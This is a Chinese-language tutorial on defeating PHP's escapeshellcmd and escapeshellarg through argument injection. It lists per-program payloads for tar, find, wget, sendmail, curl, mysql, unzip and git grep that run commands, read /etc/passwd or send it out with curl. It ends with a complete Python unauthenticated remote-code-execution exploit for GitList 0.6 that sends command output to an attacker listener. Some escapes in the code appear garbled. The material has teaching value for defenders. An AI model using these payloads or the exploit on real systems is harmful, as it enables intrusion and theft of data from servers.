1.確保用戶只傳遞一個參數給命令
2.用戶不能指定更多的參數一個
3.用戶不能執行不同的命令
1.確保用戶只執行一個命令
2.用戶可以指定不限數量的參數
3.用戶不能執行不同的命令
讓我們用groups
去打印組里每個username成員
$username = 'myuser';
system('groups '.$username);
=>
myuser : myuser adm cdrom sudo dip plugdev lpadmin sambashare
但是攻擊者可以在username里使用;
或者||
在Linux里,這意味著第二個命令可以在第一個之后被執行
$username = 'myuser;id';
system('groups '.$username);
=>
myuser : myuser adm cdrom sudo dip plugdev lpadmin sambashare
uid=33(www-data) gid=33(www-data) groups=33(www-data)
為了防止這一點,我們使用escapeshellcmd
現在攻擊者不能允許第2個命令了
$username = 'myuser;id';
// escapeshellcmd adds before ;
system(escapeshellcmd('groups '.$username));
=>
(nothing)
為什么會這樣?因為php內部運行了這樣的命令
$ groups myuser;id
groups: ?myuser;id”: no such user
myuser;id
被當成了一個字符串
但是在這種方法中,攻擊者可以指定更多參數groups
例如,他一次檢測多個用戶
$username = 'myuser1 myuser2';
system('groups '.$username);
=>
myuser1 : myuser1 adm cdrom sudo
myuser2 : myuser2 adm cdrom sudo
假設我們希望允許每個腳本執行僅檢查一個用戶:
$username = 'myuser1 myuser2';
system('groups '.escapeshellarg($username));
=>
(noting)
為什么會這樣?因為現在$username
被視為單個參數:
$ groups 'myuser1 myuser2'
groups: "myuser1 myuser2": no such user
當你想利用這些功能時,你有兩個選擇:
如果PHP版本非常老,你可以嘗試一個歷史漏洞,
否則你需要嘗試參數注入技術。
從上一章可以看到,使用escapeshellcmd / escapeshellarg
時不可能執行第二個命令。
但是我們仍然可以將參數傳遞給第一個命令。
這意味著我們也可以將新選項傳遞給命令。
利用漏洞的能力取決于目標可執行文件。
您可以在下面找到一些已知可執行文件的列表,其中包含一些可能被濫用的特定選項。
壓縮some_file
到/tmp/sth
$command = '-cf /tmp/sth /some_file';
system(escapeshellcmd('tar '.$command));
創建一個空文件/tmp/exploit
$command = "--use-compress-program='touch /tmp/exploit' -cf /tmp/passwd /etc/passwd";
system(escapeshellcmd('tar '.$command));
在/tmp
目錄查找文件some_file
$file = "some_file";
system("find /tmp -iname ".escapeshellcmd($file));
打印/etc/passwd
內容
$file = "sth -or -exec cat /etc/passwd ; -quit";
system("find /tmp -iname ".escapeshellcmd($file));
在這個配置中,我們可以傳遞第二個參數給函數。
列出/tmp
目錄并忽略sth
文件
$arg = "sth";
system(escapeshellcmd("ls --ignore=".escapeshellarg($arg).' /tmp'));
在/tmp
目錄中列出文件并忽略sth
。使用長列表格式。
$arg = "sth' -l ";
// ls --ignore='exploit'\'' -l ' /tmp
system(escapeshellcmd("ls --ignore=".escapeshellarg($arg).' /tmp'));
例如:WGET,下載example.php
$url = 'http://example.com/example.php';
system(escapeshellcmd('wget '.$url));
保存.php
文件到指定目錄
$url = '--directory-prefix=/var/www/html http://example.com/example.php';
system(escapeshellcmd('wget '.$url));
打印somedir
中的文件列表
$dir = "somedir";
file_put_contents('out.bat', escapeshellcmd('dir '.$dir));
system('out.bat');
并且執行whoami
命令
$dir = "somedir x1a whoami";
file_put_contents('out.bat', escapeshellcmd('dir '.$dir));
system('out.bat');
發送mail.txt
到from@sth.com
$from = 'from@sth.com';
system("/usr/sbin/sendmail -t -i -f".escapeshellcmd($from ).' < mail.txt');
打印/etc/passwd
內容
$from = 'from@sth.com -C/etc/passwd -X/tmp/output.txt';
system("/usr/sbin/sendmail -t -i -f".escapeshellcmd($from ).' < mail.txt');
$url = 'http://example.com';
system(escapeshellcmd('curl '.$url));
發送/etc/passwd
內容到http://example.com
$url = '-F password=@/etc/passwd http://example.com';
system(escapeshellcmd('curl '.$url));
你可以得到文件內容,使用如下payload:
file_put_contents('passwords.txt', file_get_contents($_FILES['password']['tmp_name']));
執行sql語句
$sql = 'SELECT sth FROM table';
system("mysql -uuser -ppassword -e ".escapeshellarg($sql));
運行id
命令
$sql = '! id';
system("mysql -uuser -ppassword -e ".escapeshellarg($sql));
從archive.zip
解壓所有*.tmp
文件到/tmp
目錄
$zip_name = 'archive.zip';
system(escapeshellcmd('unzip -j '.$zip_name.' *.txt -d /aa/1'));
從archive.zip
解壓所有*.tmp
文件到/var/www/html
目錄
$zip_name = '-d /var/www/html archive.zip';
system('unzip -j '.escapeshellarg($zip_name).' *.tmp -d /tmp');
$filename = 'résumé.pdf';
// string(10) "'rsum.pdf'"
var_dump(escapeshellarg($filename));
setlocale(LC_CTYPE, 'en_US.utf8');
//string(14) "'résumé.pdf'"
var_dump(escapeshellarg($filename));
$find = 'word';
system('FIND /C /I '.escapeshellarg($find).' c:\where\');
同時運行dir
命令.
$find = 'word " c:\where\ || dir || ';
system('FIND /C /I '.escapeshellarg($find).' c:\where\');
Shell需要使用GBK,EUC-KR,SJIS等可變寬度字符集的語言環境。
$text = "sth";
system(escapeshellcmd("echo ".$text));
$text = "sth xc0; id";
system(escapeshellcmd("echo ".$text));
或者
$text1 = 'word';
$text2 = 'word2';
system('echo '.escapeshellarg($text1).' '.escapeshellarg($text2));
$text1 = "word xc0";
$text2 = "; id ; #";
system('echo '.escapeshellarg($text1).' '.escapeshellarg($text2));
額外傳遞的第三個參數(—param3)。
$a = 'param1_value';
$b = 'param2_value';
system('my_command --param1 ' . escapeshellarg($a) . ' --param2 ' . escapeshellarg($b));
$a = 'a\';
$b = 'b -c --param3\';
system('my_command --param1 ' . escapeshellarg($a) . ' --param2 ' . escapeshellarg($b));
如果將1024mb字符串傳遞給escapeshellarg,則導致緩沖區溢出escapeshellcmd。
啟用EnableDelayedExpansion后,展開一些環境變量。
然后!STH!
運行類似于%STH%
escapeshellarg
不會過濾!
字符
EnableDelayedExpansion
以在HKLM或HKCU下的注冊表中設置:
[HKEY_CURRENT_USERSoftwareMicrosoftCommand Processor]
"DelayedExpansion"= (REG_DWORD)
1=enabled 0=disabled (default)
例如:
// Leak appdata dir value
$text = '!APPDATA!';
print "echo ".escapeshellarg($text);
功能定義于ext/standard/exec.c
,運行類似于(escapeshellcmd,eschapeshellarg,shell_exec),忽略PHP字符串的長度,并用NULL終止工作代替。
echo escapeshellarg("helloworld");
=>
hello
文件src/Git/Repository.php
public function searchTree($query, $branch)
{
if (empty($query)) {
return null;
}
$query = escapeshellarg($query);
try {
$results = $this->getClient()->run($this, "grep -i --line-number {$query} $branch");
} catch (RuntimeException $e) {
return false;
}
}
簡化后
$query = 'sth';
system('git grep -i --line-number '.escapeshellarg($query).' *');
當我們查看git grep文檔時
--open-files-in-pager[=<pager>]
Open the matching files in the pager (not the output of grep). If the pager happens to be "less" or "vi", and the user specified only one pattern, the first file is positioned at the first match automatically.
所以基本上--open-files-in-pager
就像是在-exec
中執行find
.
$query = '--open-files-in-pager=id;';
system('git grep -i --line-number '.escapeshellarg($query).' *');
當我們輸入這些進控制臺
$ git grep -i --line-number '--open-files-in-pager=id;' *
uid=1000(user) gid=1000(user) grupy=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev)
id;: 1: id;: README.md: not found
最后的exp:
import requests
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import urlparse
import urllib
import threading
import time
import os
import re
url = 'http://192.168.1.1/gitlist/'
command = 'id'
your_ip = '192.168.1.100'
your_port = 8001
print "GitList 0.6 Unauthenticated RCE"
print "by Kacper Szurek"
print "https://security.szurek.pl/"
print "REMEMBER TO DISABLE FIREWALL"
search_url = None
r = requests.get(url)
repos = re.findall(r'/([^/]+)/master/rss', r.text)
if len(repos) == 0:
print "[-] No repos"
os._exit(0)
for repo in repos:
print "[+] Found repo {}".format(repo)
r = requests.get("{}{}".format(url, repo))
files = re.findall(r'href="[^"]+blob/master/([^"]+)"', r.text)
for file in files:
r = requests.get("{}{}/raw/master/{}".format(url, repo, file))
print "[+] Found file {}".format(file)
print r.text[0:100]
search_url = "{}{}/tree/{}/search".format(url, repo, r.text[0:1])
break
if not search_url:
print "[-] No files in repo"
os._exit(0)
print "[+] Search using {}".format(search_url)
class GetHandler(BaseHTTPRequestHandler):
def do_GET(self):
parsed_path = urlparse.urlparse(self.path)
print "[+] Command response"
print urllib.unquote_plus(parsed_path.query).decode('utf8')[2:]
self.send_response(200)
self.end_headers()
self.wfile.write("OK")
os._exit(0)
def log_message(self, format, *args):
return
def exploit_server():
server = HTTPServer((your_ip, your_port), GetHandler)
server.serve_forever()
print "[+] Start server on {}:{}".format(your_ip, your_port)
t = threading.Thread(target=exploit_server)
t.daemon = True
t.start()
print "[+] Server started"
r = requests.post(search_url, data={'query':'--open-files-in-pager=php -r "file_get_contents(\"http://{}:{}/?a=\".urlencode(shell_exec(\"{}\")));"'.format(your_ip, your_port, command)})
while True:
time.sleep(1)